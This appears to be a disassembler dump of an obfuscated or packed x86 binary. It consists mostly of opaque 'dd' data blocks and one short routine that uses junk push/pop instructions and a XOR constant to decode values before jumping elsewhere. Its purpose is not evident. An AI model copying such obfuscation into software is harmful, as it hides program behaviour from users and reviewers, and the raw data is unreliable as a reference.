		dd 2B8EE4F6h, 73BF6635h, 0F605647h, 0A89h, 5E900h, 993D0000h
		dd 0B70BD120h, 8F6124h,	83CF8B66h, 8F0F02E8h, 5, 0BC223FB9h
		dd 8948480Fh, 31C8185h,	1EB8106h, 0F000000h, 1885h, 15B58900h
		dd 0E9060332h, 1Eh, 2B2E55EDh, 786E8808h, 4149BD9Eh, 0FFBF0FCAh
		dd 0FFFF59E9h, 7B6ADAFFh, 0F015D6F7h, 23E914ACh, 0F000001h
		dd 18Eh, 0B58DFC00h, 6085A04h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0B4C35343h,	0B70F601Eh, 585060FFh
		dd 8E0Fh, 61610000h, 6840Fh, 60600000h,	61FB8B61h, 5850Fh
		dd 0F600000h, 8D61C7B7h, 64BD485h, 0FE906h, 9F090000h
		dd 3DFB2236h, 55036A32h, 0BF692764h, 0FE91Bh, 0ACA60000h
		dd 0E3C36A72h, 0FA393AD7h, 0B3D41DD1h, 0F5D0FFA3h, 0AE9C3h
		dd 0E5290000h, 271A1949h, 0B442ED0Fh, 0FCD98C66h, 0F04C1F6h
		dd 5784h, 128C0F00h, 0E9000000h, 0Dh, 5FD9FB8Eh, 50329321h
		dd 7B8AAEC5h, 18F0FD7h,	0FC000000h, 0CB8BFB8Bh,	75AEC032h
		dd 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh, 1013Fh
		dd 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h,	1B8FAh
		dd 9EB0000h, 0E4EB008Bh, 0B8h, 0BE9CF00h, 45000000h, 0DC3984D2h
		dd 0B494E918h, 13E9DC25h, 0A7000000h, 0E34E49E0h, 0DDCFF130h
		dd 9212217Ch, 0DA5D4C54h, 85C746E9h, 6085A48h, 1013Fh
		dd 60EBh, 17h dup(0)
		dd 8EE90000h, 0E900000Ah, 0A82h, 861DC68h, 224FE906h, 5668FFFBh
		dd 0E9060863h, 0FFFB2245h, 863BB68h, 223BE906h,	7100FFFBh
		dd 0E8B5184Ch, 56388DC3h, 0C2AA3FADh, 35DAAF3Dh, 0AB6AD88Ch
		dd 0F3911AFFh, 67658A6Eh, 95FB0092h, 4486D00h, 74ED3D7Dh
		dd 0C8710695h, 462ABB38h, 5830B559h, 0A926A60Dh, 3351563Ah
		dd 8826C7AEh, 3B4CAAD7h, 9D1B35B0h, 699260CDh, 0F9FE927Fh
		dd 0BC6D02EFh, 2FB2DADFh, 0A326A647h, 0B21F49D4h, 29B4D4DDh
		dd 4528A045h, 0F35E0EB3h, 6C916122h, 0CA82697Ch, 9AD4D2BDh
		dd 6A7778Eh, 6402C975h,	9DCFF481h, 78326CC8h, 751B0895h
		dd 660BE14Ch, 0FF009495h, 4C337C10h, 933810AEh,	767106A6h
		dd 0EFF90297h, 0F36CBCFAh, 497106A6h, 580F2682h, 0DDCAAD30h
		dd 4ED3B53Ah, 0D5B807ACh, 0B2D6BD42h, 0A2432AC1h, 0F0AC2FC1h
		dd 1836088h, 8E6A8F6Ch,	8074F9FAh, 7F986D56h, 23h, 8E6C01F8h
		dd 8A666365h, 0D253553Dh, 0F0B02901h, 590C770Eh, 2A8201E4h
		dd 0F1C3A049h, 2E5A72h,	0F0D90000h, 1836088h, 0EF0B029h
		dd 0BB38AD77h, 492A8201h, 459D3C6Ah, 0B8D9AD96h, 0A64B7DDAh
		dd 857EC543h, 2DFDB7F1h, 770EF0B4h, 6CE75D08h, 4B6785F0h
		dd 120831FFh, 3E78EF75h, 4B21CAAFh, 0C87E1B23h,	968A710Bh
		dd 2A4E5642h, 0B055936Ah, 0AF5020DDh, 4C5DBFC0h, 804B293Ch
		dd 1463624h, 0F0410000h, 94476389h, 0D6B1E350h,	0BDFB711Dh
		dd 0EE3EC6Dh, 0F3954077h, 6266876Eh, 0A2432A71h, 0F0AC2FC1h
		dd 2B836088h, 35F6986Dh, 7AF65D62h, 568074F9h, 337F986Dh
		dd 0F8000000h, 836088F0h, 0F0B02901h, 9A6B770Eh, 5C75F3F8h
		dd 82013489h, 0C3A0492Ah, 395A72F1h, 1C000000h,	0F04DC662h
		dd 0F7B3770Eh, 0EF0BA53h, 0C4530677h, 88F0EB68h, 29018360h
		dd 770EF0B0h, 1BB38ADh,	886C0182h, 17E48967h, 6C011192h
		dd 451668Bh, 91886D18h,	4FB4523h, 476389F0h, 0EF056E3h
		dd 5B17C277h, 0F11089A1h, 0F96C770Eh, 0EF866B03h, 491C9ACEh
		dd 29AA06ABh, 0C1A2432Ah, 668B6C01h, 0E5856366h, 6088F0F6h
		dd 986D2B83h, 0F095F7F8h, 8074FF74h, 7F986D56h,	3Fh, 6088F0F8h
		dd 0B0290183h, 6B770EF0h, 74F0F99Ah, 1358E5Dh, 6567886Ch
		dd 678C6D60h, 2AD0CF89h, 0DB65849h, 5E01CDA6h, 5DD390F6h
		dd 68C0FE7Ch, 770EA1EFh, 94229E4Dh, 2C5ADFh, 0F0D90000h
		dd 95466088h, 0AE8EBF23h, 0E86BC1EAh, 0D5A64701h, 0DF78502Ch
		dd 0FC770EF0h, 82019469h, 0BB58492Ah, 1CAAB36h,	8967886Ch
		dd 0E15A403Fh, 0D9000000h, 476389F0h, 2EFACEA6h, 770EF0B5h
		dd 7BF15C0Bh, 0BE2833Dh, 9D3E0EEAh, 13770EF0h, 49D4D9BCh
		dd 0DADBB21Fh, 432ACDB6h, 906104A2h, 1168D6Bh, 8393265Eh
		dd 59D7A994h, 88F04231h, 0BC8C4660h, 770EF023h,	0FD76F299h
		dd 0D2B36D2Bh, 0F66FB93Eh, 4A770EF0h, 74A2219Fh, 986D5680h
		dd 4F7Fh, 5E01F800h, 55BAA0D9h,	0CF78F494h, 14C21C7h, 0EF0B029h
		dd 48A86B77h, 0E6C659F8h, 3FAA8B61h, 0AA51D083h, 2F857432h
		dd 0A326A647h, 1DB58D4h, 0E3470182h, 770EF06Ah,	0C0A503D6h
		dd 1358E33h, 706A135Eh,	60DC68F5h, 315A19D6h, 0D9000000h
		dd 836088F0h, 0F0B02901h, 38AD770Eh, 3B4ADD7Eh,	422B4A37h
		dd 0E206DE6h, 0B904D377h, 820140C3h, 0C3A0492Ah, 6AE34701h
		dd 0D6770EF0h, 641BA503h, 2AA2432Ah, 580CB547h,	0E59D22F5h
		dd 40D9712Bh, 0BC770EF0h, 0F066FF29h, 12A4770Eh, 0B70D93E6h
		dd 4E077AEh, 42D3B264h,	70EBC3B9h, 62770E82h, 0B1441E42h
		dd 0FD93720Ch, 7BF194F4h, 0CAEB8217h, 0A05A1482h, 0E830F88h
		dd 0AEFE6D77h, 770E8235h, 0C960DC8Bh, 0ED31F5B4h, 0AF3DC255h
		dd 3B777500h, 119A41EFh, 6068FF75h, 0E3B1E5B6h,	7A495FF0h
		dd 2C31AEFEh, 3BFF710Bh, 2970F898h, 3713B567h, 710BA29Eh
		dd 0D7E877E2h, 0FDE9DC98h, 4E72CE34h, 23061E1Ah, 1BC1936Ah
		dd 72000000h, 2AA2432Ah, 0EF08902h, 33675D77h, 0CE648F50h
		dd 7C553BC5h, 0E50AED80h, 432AFCE7h, 0F29D2AA2h, 7B6EBAF4h
		dd 0B57506B7h, 0C04722F5h, 9867512Ch, 61717B0h,	6BF66571h
		dd 0A13F4A65h, 2E732109h, 0BA216F09h, 0FE8D0AD2h, 0DF9B7702h
		dd 0E440690Eh, 0CE18CD0h, 0D4DDB26Fh, 80193149h, 0FC7702FEh
		dd 9CA09369h, 5B996160h, 37h, 8B6C01E4h, 67E04866h, 0D5770EF0h
		dd 761DAA06h, 69123670h, 0B0770EF0h, 926613EFh,	29BCF01Dh
		dd 0ECC5A348h, 0CAAC4179h, 14E48921h, 10ECF993h, 1E997Ch
		dd 0F0240000h, 0F3F49B89h, 51FE4A64h, 0CF770EF0h, 0E98F5E18h
		dd 41128CC0h, 0BAD608DBh, 0EC67DDC1h, 1405Ah, 83F0D900h
		dd 6C018865h, 61646489h, 2AF0E38Bh, 2BC1A243h, 15E01A8h
		dd 0F188628Ch, 0DBDCBCD3h, 895E565Dh, 3219986Ch, 9A000000h
		dd 886583F0h, 0F0B02901h, 590C770Eh, 4A94C21h, 6C012BA8h
		dd 6267618Ah, 7F0EC886h, 1F941099h, 0C6BF442Ah,	6C0172F1h
		dd 8B8E6A8Fh, 29h, 6583F02Ah, 0B0290188h, 0AD770EF0h, 0C0882DC0h
		dd 1453E85h, 0BF442A82h, 7B145003h, 0CBD3E075h,	9CCCF184h
		dd 0F1F073C9h, 0A2432A72h, 0D5CA5304h, 5E972DDBh, 0AC2F61E2h
		dd 466088F0h, 0F023BC8Ch, 0F299770Eh, 6D2BFD76h, 640AF798h
		dd 0CD580D5Fh, 0F172CE9Bh, 6D568074h, 477F98h, 9A3D0000h
		dd 0D2A5F32Ah, 5058C2Dh, 0F04BC8A4h, 1836088h, 0EF0B029h
		dd 0E4590C77h, 618A6C01h, 2AD6CD8Bh, 1C3A049h, 8B618A6Ch
		dd 7D0833Dh, 84B29869h,	0C6AF9839h, 0DAD7FFF0h,	205AE55Eh
		dd 1C000000h, 0A602A749h, 6088F02Dh, 8F6C0183h,	78D08E6Ah
		dd 770EF0DFh, 19469FCh,	0A0492A82h, 2A72F1C3h, 6F29A348h
		dd 8A36E9ACh, 926EF85Fh, 0E6D1CBAh, 0B93ED677h,	7AC422Fh
		dd 0FB2F1745h, 0DA0E0E5Bh, 9BC9F280h, 0A3482AD8h, 0DB64429h
		dd 5F2EC85Bh, 365335BEh, 185286BAh, 0CB13717Ah,	770EE7C0h
		dd 457E878Ch, 4025996Dh, 9C25F7B0h, 93A1BB31h, 0D2FFFFFEh
		dd 0EF0F26Fh, 0F14A4777h, 23BF770Eh, 94770EF0h,	770EF0F7h
		dd 0FCAD4322h, 96F3951Eh, 9DAD0Bh, 75770EF1h, 0B70EF0D8h
		dd 9129C7B2h, 8C6E1BFCh, 95606567h, 5C1A96F3h, 0C5DA8CCh
		dd 395306B5h, 0CDE5038Eh, 0D7AD5638h, 0D47B199h, 0A635AF0Ch
		dd 0D61F800Fh, 58B55526h, 302h,	0CE8223F6h, 73119A7Bh
		dd 0EDE308EEh, 1D737418h, 8EC2E788h, 0CCADF924h, 3CDCA127h
		dd 0B240D5BBh, 1FF65B09h, 0EFABCA9Eh, 68FC25Bh,	0ED8E3E71h
		dd 2AA2432Ah, 0BAF4F29Dh, 0CAA6472Bh, 0B6B5BC8Ch, 4B0C7506h
		dd 37DFE184h, 575AE1B6h, 0DB8EA71Dh, 28E865B5h,	0B7C27106h
		dd 8EA98139h, 4D6EFDEEh, 59D7D8B8h, 1BD5ED78h, 5E50C961h
		dd 39AC770Eh, 5E472E43h, 305537BCh, 0BB5227A5h,	58A523Ah
		dd 0F5770E5Fh, 0F6526C8Ah, 750624E7h, 1DA24A59h, 0E060D44Bh
		dd 0BA3D7141h, 6C26402Fh, 60043DCh, 8DD2B971h, 16EF5782h
		dd 0A9E75D73h, 0F28C31C4h, 0E8771038h, 0C5C57106h, 6E8EC65h
		dd 3E855071h, 9D702E42h, 0F194F4F9h, 7E7F167Bh,	35C5A86Eh
		dd 8B34B0h, 4E21C4E2h, 0B595D3A9h, 6EFEAFA2h, 1781CB9Eh
		dd 9E54CD5Dh, 3DA8770Eh, 0A58DF847h, 4F20FC41h,	0F4A320D3h
		dd 7B2E690Eh, 0A3743299h, 0F898FFFBh, 0DF40A2F7h, 117B7C13h
		dd 5513E974h, 68CBEF5h,	0CBAF0275h, 42235F2Ah, 0F3460AABh
		dd 29F19B1Ch
		dd 710686ACh, 0F03FF39Eh, 0BADB9141h, 0F15911FCh, 6EFE00EAh
		dd 0BEC98356h, 0A4492DD3h, 64426B24h, 76E9F5A3h, 0A8621CEBh
		dd 0D44433C5h, 8A68DD63h, 90B83483h, 75116992h,	0C942E6A0h
		dd 37710B6Ah, 6A3ED773h, 0D782710Bh, 0B1C2FD48h, 18E0D37Bh
		dd 1889D70h, 9D7C0000h,	14E17418h, 8214F9EFh, 0EE866B79h
		dd 61369BC9h, 7FBE3458h, 2FBD462Bh, 5331B65Ah, 0C1872CCEh
		dd 7014997Ch, 48C16921h, 0B471068Dh, 85F06704h,	0B9914B67h
		dd 770EF020h, 64BF40D0h, 833D7BF1h, 0FE50AE2h, 6B7383Fh
		dd 6B7DE875h, 0F7B3315Ch, 98D5553h, 3D74E36Fh, 0E6DBADC2h
		dd 2312CF9Fh, 91000001h, 1AEFFD02h, 891C7079h, 3B8EC2E7h
		dd 0AB3E5253h, 0C5AF3DC6h, 6AB4C1Ah, 9A1BFF42h,	689163F6h
		dd 0F9FE9164h, 7CCCCAEBh, 71068DE3h, 0F0D49759h, 0FF4B6785h
		dd 7506B6F0h, 65D3B520h, 0CABCABB2h, 20FD8223h,	582D8B38h
		dd 862BC8B5h, 0CEE7F3Bh, 0BB6509E7h, 0DDB02901h, 0A10C7106h
		dd 27A22ACFh, 0E689DC58h, 33565B39h, 57325A5Bh,	451680C8h
		dd 1E4CDE5Dh, 3CC1555Ah, 98311951h, 0E47106CFh,	414CFB71h
		dd 82307A3h, 0B06EFE96h, 41D2A725h, 0AF41D4B8h,	0C9B20F2h
		dd 9C21F558h, 0E48D4EC8h, 3A6456Eh, 0F35E6331h,	7A7F1075h
		dd 21C6A93Ch, 0BD52274Bh, 0BF1D52FEh, 0E5F67997h, 78ABCC28h
		dd 0E9B33956h, 611ECEDEh, 0F4590F9Ah, 6E78324h,	98EC4871h
		dd 8B886735h, 9091C49h,	0D4AEAF6Ah, 1AE17D5Ah, 0A174D98Fh
		dd 80A8621Ch, 770E4907h, 489D3612h, 74E3770Eh, 39DB8E5Dh
		dd 0CD5034B0h, 2AC8422Dh, 82B569D9h, 6B165137h,	0DA15354Dh
		dd 6675062Eh, 613499F3h, 3D5085Ch, 68000000h, 472A8003h
		dd 0B45B26A6h, 26F45933h, 9266CB9Dh, 1967B6Dh, 6C0D90F8h
		dd 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 680B4008h, 52C6h
		dd 89240489h, 405E0h, 0E8830000h, 24048704h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	6EAEh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6085B2Ah
		mov	ebx, ebp
		pop	ebp
		push	74D2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		xor	dword ptr [esp], 6A261256h
		pop	dword ptr [edx+8]
		push	ebx
		mov	ebx, 8
		add	ebx, edx
		xor	dword ptr [ebx], 6A261256h
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5439D9
; ---------------------------------------------------------------------------
		dw 0FC63h
		dd 23205BEh, 38684EACh,	3B89571h, 3060865h, 0E9C38BC5h
		dd 13Ch, 4Fh dup(0)
		dd 35DBD83h, 0F010603h,	5F584h,	0F536000h, 83h,	850F5F00h
		dd 5, 0B7DE8166h, 85C6613Ch, 6032F39h, 0C860F43h, 0F000000h
		dd 688h, 840F00h, 0E8000000h, 4, 0ECA5D0F5h, 12E960h, 0FD730000h
		dd 44128B25h, 167CDE6h,	0FE3558D7h, 537E3B7Bh, 61D18B66h
		dd 60525050h, 0B28FB966h, 61F98B66h, 6060310Fh,	61DE8A61h
		dd 448B585Ah, 52500424h, 2CB96660h, 310F610Fh, 8E0F5250h
		dd 0
		dd 0CE9310Fh, 0C3000000h, 5A382B7Eh, 621C7517h,	5A431400h
		dd 8B585A58h, 0A810F00h, 50000000h, 0F616052h, 5A616031h
		dd 24448958h, 14E904h, 5A2C0000h, 0D3F37D93h, 0CAE5601Ch
		dd 49DC9887h, 0DF72AB62h, 6A58E35Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 88E6C357h
		dd 39E78E0Ch, 2D7A322Dh, 1840Fh, 60F80000h, 0F5EFEE81h
		dd 6060760Eh, 86D88161h, 6159DC15h, 0C9B5FF61h,	60060328h
		dd 3850Fh, 0D2800000h, 0DFB70F5Eh, 0BC858D61h, 0E9060673h
		dd 0Bh,	7016EEE0h, 25CB0F75h, 0FF8CB289h, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
		dd 665760D8h, 0F495F381h, 40B8665Eh, 89F8618Fh,	3110185h
		dd 0EC8A6006h, 0C64AE081h, 0C6611C8Eh, 32F3985h, 6A5006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0BDFBA2C3h, 0A92B75C4h, 0FBA60FCh, 6623FC09h, 431BCB81h
		dd 8ECF6861h, 5250891Ch, 158F0Fh, 10E90000h, 0C6000000h
		dd 62EE745Fh, 6C6722EAh, 249282DAh, 0F366DD2h, 0E9525031h
		dd 0Eh,	1959FF0Fh, 67785D0Ah, 0F7D77642h, 310F4792h, 310F5250h
		dd 585A585Ah, 3481585Ah, 0B1239924h, 9E921h, 26010000h
		dd 0E1AF402Bh, 0FF18FAF6h, 328C9B5h, 858DFC06h,	60673BCh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0CC35141h
		dd 5CBA9A35h, 0F4D7221h, 0A80h,	5B536000h, 840Fh, 0F610000h
		dd 789h, 0CA806000h, 6158539Dh,	6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 8602FCC3h
		dd 81666008h, 61682BCFh, 0BE9h,	3BE48700h, 0F037CB91h
		dd 0C1D0A59Eh, 0C558589h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 7C0528C3h, 0FF35BB89h
		dd 0B0849E68h, 6660609Bh, 8E9D68Bh, 59000000h, 2E0ED305h
		dd 616069CEh, 8161F98Bh, 23912404h, 0E9F854DFh,	0Bh, 847A7304h
		dd 91750A21h, 0FF850BFDh, 328C9B5h, 0C840F06h, 0F000000h
		dd 681h, 8C0F00h, 8D000000h, 673BC85h, 12E906h,	120D0000h
		dd 69DB7146h, 0CCDC2D2Bh, 23B35497h, 4349AFF8h,	8E9D0FFh
		dd 18000000h, 95BE8C26h, 8954F759h, 31D8985h, 14860F06h
		dd 60000000h, 9E9h, 0B1A62900h,	0E0D0DE1Ch, 0BF6677D8h
		dd 0C661793Dh, 32F3985h, 13E95006h, 49000000h, 0BC435CFCh
		dd 0BFE32B37h, 0A12949D5h, 0FF670B07h, 0F60FDA1h, 28Dh
		dd 0E9D38B00h, 14h, 0A2C0E6E1h,	9FA25DA4h, 48032F29h, 3DBFBB6Bh
		dd 0A2ABB2AEh, 4E861h, 0DC560000h, 5250979Ch, 13E9h, 3AB7BE00h
		dd 2CD7B519h, 7BDA482h,	0C88C9817h, 0BF65169Dh,	0FE9310Fh
		dd 32000000h, 75159D41h, 81579E12h, 399E1C71h, 585A68E6h
		dd 0F8B96050h, 660C0601h, 61EE90BFh, 424448Bh, 0E9D08B60h
		dd 0Ch,	9367AF16h, 0DBD0BFF8h, 0CCA76ABEh, 60008B61h, 0B9665250h
		dd 310F0B38h, 585A5E53h, 0CB42B966h, 24448961h,	0F525004h
		dd 686h, 0F525000h, 0F585A31h, 0F525031h, 8Bh, 50310F00h
		dd 5A310F52h, 5A585A58h, 8A0F5858h, 0Fh, 0AE9h,	94207600h
		dd 0C74650FDh, 0FF46196Dh, 31359B5h, 1850F06h, 0F8000000h
		dd 38A7858Dh, 0FFF50603h, 0CE9D0h, 763D0000h, 0FB658A58h
		dd 9331660Eh, 85890302h, 603144Dh, 12880Fh, 0DE90000h
		dd 0B8000000h, 0B9943CF3h, 0DFB5917Dh, 0B2AA33BBh, 179E9h
		dd 0DE900h, 0B71C0000h,	0B026C4D8h, 3F3D560Ch, 952CF271h
		dd 0EE9h, 0B1032600h, 0ABB93A57h, 67D87023h, 500B38E2h
		dd 7DBB6660h, 6E907h, 7D490000h, 848AA61h, 6A9561h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0FC24C3C3h, 5E9h, 0C2E1C300h, 0EC8BA0EEh, 0FCC483F5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0A6C35040h
		dd 0FE6BEBFh, 1088h, 0BE900h, 0B2810000h, 57A862F4h, 58A47F9Bh
		dd 0EE960B8h, 0E1000000h, 0DB3E9B78h, 0B839E81Ch, 0E11BAF9Ah
		dd 0E82Ah, 815A0000h, 86C16EAh,	0FC45C706h, 0
		dd 35DBA83h, 0F010603h,	9884h, 6A5200h,	92FF0F6Ah, 6031101h
		dd 9C82895Ah, 8D060865h, 865A09Ah, 3C75206h, 128h, 92FF5053h
		dd 6030C55h, 9A8D525Ah,	60865A0h, 9CB2FF53h, 0FF060865h
		dd 3144D92h, 0C00B5A06h, 9A8D5074h, 60865A0h, 33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 0A1BA8D0Ch, 8B060306h, 0A4F30C4Dh, 52AAC032h
		dd 8D0875FFh, 306A182h,	92FF5006h, 6031D89h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 0B9F56000h, 3E053279h, 0D28BFC61h, 6DEA8D8Dh, 7E80608h
		dd 16000000h, 8B310E8Ch, 0FB8B70AEh, 0D18D895Fh, 6A060331h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 112BC352h, 0FE85929h, 0B1000000h,	11271CA8h
		dd 5E3F64EDh, 39C177C3h, 0B5896777h, 6031E69h, 0E185C75Fh
		dd 0F8060301h, 8B00005Bh, 3134585h, 0BD85C706h,	60321h
		dd 60000000h, 2418D8Bh,	8B0F0603h, 6, 381BD89h,	0FF610603h
		dd 321ADB5h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0DE8AF58h, 0FD000000h, 0F24D6A1Ch
		dd 0A6AC3A10h, 17DE4D1Eh, 319D8B60h, 6006031Fh,	0E85B6161h
		dd 0Fh,	0CF818D6Bh, 0D57C516Dh,	8483CCC8h, 1DB5248h, 326CD8Dh
		dd 95FF5E06h, 6032691h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0CEC35242h, 29BD89C0h, 6A060326h, 0B995FF00h
		dd 8B06031Fh, 0DB6BEBC0h, 0EF2E510Fh, 3F80CA04h, 9C95D3DAh
		dd 0C6D135CDh, 637B0625h, 28048559h, 0B651AA7h,	4082700Dh
		dd 70E691DCh, 0BCC08025h, 0AE10C602h, 7B8484EFh, 9FA49419h
		dd 0E9F098FBh, 20FC8D7Ch, 2C30881Ah, 584D4805h,	2925AB6Bh
		dd 7775915h, 3C8EB3B1h,	94EB05E1h, 3CD3131Eh, 276B84F4h
		dd 14BB2276h, 63E6029Ch, 1AAD7FDAh, 66E9D5D3h, 60000002h
		dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 6031359h, 73BC858Dh
		dd 0D0FF0606h, 93D8589h, 0FE8B0603h, 680CEFC1h,	20060000h
		dd 26A006Ah, 0D6857h, 95FF0001h, 603093Dh, 32E9h, 3985C600h
		dd 5606032Fh, 0C530DF68h, 0C9B5FFA9h, 8D060328h, 673BC85h
		dd 89D0FF06h, 32C9185h,	71858D06h, 50060323h, 56A406Ah
		dd 9195FF56h, 6106032Ch, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 6EDD8589h, 428B0608h, 0D585890Ch
		dd 8B06086Eh, 85891042h, 6086ED9h, 6F13B58Dh, 858D0608h
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 86EDDB5h, 0D5858B06h
		dd 8306086Eh, 86ED9BDh,	840F0006h, 7, 2E90689h,	88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 0DD858908h, 8D06086Eh,	86F64B5h
		dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 86EDD85h, 4C206h
		dd 6EDD858Bh, 8B0608h, 6EDD8589h, 0CF0608h, 60000000h
		dd 6F3AB589h, 85890608h, 6086F36h, 0B89858Dh, 408B0603h
		dd 73858944h, 8D06086Fh, 86FA9B5h, 35858D06h, 0FF005B7Eh
		dd 858B61D0h, 6086F3Ah,	369D8BC3h, 0F06086Fh, 33C43B7h
		dd 785B8BD8h, 6F369D03h, 738B0608h, 36B50324h, 5606086Fh
		dd 8B207B8Bh, 0BD031C73h, 6086F36h, 6F36B503h, 83FC0608h
		dd 8B41FFC9h, 86F3A9Dh,	3178B06h, 86F3695h, 4C78306h, 0C084028Ah
		dd 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh, 0FFFFE7E9h
		dd 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh, 386048Bh
		dd 86F3685h, 3A858906h,	8B06086Fh, 8BCE8BF0h, 73BD81C1h
		dd 6086Fh, 0FC03000h, 0D85h, 14E8C100h,	0FFC25h, 8E900h
		dd 0E8C10000h, 3FF82512h, 0BD8B0000h, 6086F73h,	6070C83h
		dd 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 73BD8100h, 6086Fh
		dd 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h, 0E8C10000h
		dd 0FFF82509h, 2D007Fh,	83400000h, 0F70608h, 80h, 1E840Fh
		dd 0BD810000h, 6086F73h, 0C0300000h, 0E840Fh, 0F8250000h
		dd 8B00003Fh, 60000080h, 60883C0h, 0E1858DCFh, 8906086Eh
		dd 3015585h, 77858D06h,	8906086Fh, 3237D85h, 3E858D06h
		dd 8906086Fh, 303CD85h,	5B13D006h, 374A03E8h, 0C2AE64A4h
		dd 0D671A2F0h, 0AA358304h, 7B701878h, 3885A7FEh, 46854883h
		dd 0D240331h, 79787946h, 0EA884D22h, 7A33642Fh,	7B2F363Eh
		dd 2A55D931h, 7B356A3Eh, 1A6E7631h, 7B368DD8h, 7B337431h
		dd 0ECE1CE31h, 0AC6D3EBDh, 67B00EB2h, 7435DF32h, 7B35F6B5h
		dd 74552031h, 7B353BBFh, 0D3D21C31h, 1A227139h,	78BC8E6Bh
		dd 0FA53B331h, 0F65876E8h, 7344E5B4h, 3E8C1037h, 0C465ABDDh
		dd 6B4B1ADCh, 2E35A4A1h, 7B3564D9h, 0B8689331h,	5F59506Ch
		dd 5F716D35h, 7B356E35h, 0B8607E31h, 42DD81EAh,	26F44E89h
		dd 7B3561D9h, 42CF6231h, 1D5DD20Bh, 0A32B1EB0h,	90B0FB6Fh
		dd 11333341h, 78DDC831h, 5B35CE31h, 0F268A46Ch,	0FA31975Dh
		dd 6131FD75h, 3E35EC31h, 6A1DB564h, 3D02CAB9h, 24620D3Dh
		dd 7B5F5E61h, 7B368F64h, 2615B331h, 17BC84F2h, 3FB4E815h
		dd 7B2E7215h, 2E703B31h, 0F7CA01F2h, 4FEB16B0h,	2AF5DE55h
		dd 0EECAD544h, 7D36DAA0h, 7B30643Eh, 0FA537631h, 9210B7C3h
		dd 7B359D21h, 0EF1F847Dh, 0BE5E90Eh, 0F52FC5DEh, 2050F374h
		dd 72DD2CBAh, 0FF357631h, 1A5E051Ah, 54EA1479h,	7B33473Eh
		dd 0FD3A6731h, 7B35B331h, 42885A6Eh, 7B33EF21h,	0C6B67F44h
		dd 7D362A2Ch, 2B2CE931h, 0C3F54562h, 7B35634Bh,	6C4036B8h
		dd 0E6B8DF32h, 7D305CA0h, 236EA5CEh, 6A2886B2h,	0F359B32h
		dd 0C3669E26h, 7B35634Bh, 6C4036B8h, 0E6B8DF32h, 7D3041B1h
		dd 236EA5CEh, 0CA3FDAB0h, 7B5FF67Ah, 7B362661h,	23156731h
		dd 3FBCEBF2h, 3FB4DD15h, 7B29E815h, 2B757631h, 0FCA93CF2h
		dd 1630663Bh, 22629B6Eh, 0F0E5D03Eh, 88A83EF1h,	7433D141h
		dd 0F83A2486h, 7B357635h, 0F8848457h, 224F18BCh, 0C553C839h
		dd 0ABCA2ABFh, 74F5B8C9h, 7B3550B5h, 2D358631h,	7B3575D9h
		dd 0B86B1B31h, 5F41146Fh, 5F714F35h, 7B357E35h,	0B863F531h
		dd 9ED7FB76h, 0FB3A7885h, 7B35763Ch, 7B3533D8h,	484C8731h
		dd 0C3ACABD1h, 67A8EACBh, 7433B07Ch, 788D2F8Eh,	1135EC31h
		dd 78DD2731h, 5B353B31h, 0F26C5E68h, 0FA31EA7Dh, 6E314375h
		dd 3A35B331h, 0A5731A60h, 0A5355657h, 7B5F95CEh, 7B36D364h
		dd 26159D31h, 17BC93F2h, 3FB46315h, 7B22B715h, 2E70D931h
		dd 1F35FEF2h, 97D5CC11h, 0E6B8553Ch, 7D3DEDCAh,	7B35C6D8h
		dd 0A9DEFC31h, 8F80178Bh, 1B0546Eh, 8733E468h, 0FA53A6CEh
		dd 704ED5DBh, 0AB192F1h, 0FA35CE31h, 3C8708C7h,	67A83E4Eh
		dd 1D33DA7Ch, 7A8D3FBAh, 11357631h, 78DD6C31h, 5B359D31h
		dd 0F26A0D6Eh, 0FA31434Dh, 60319775h, 3C35D931h, 16DF2F66h
		dd 2590F28Fh, 6FDCF298h, 26359D31h, 0EC38DE4Ah,	0A509BA3Eh
		dd 65A5FE41h, 26489406h, 84184BF0h, 29351CD2h, 7B3538D9h
		dd 0B86FBD31h, 5F61476Bh, 5F71E635h, 7B35A435h,	0B8679B31h
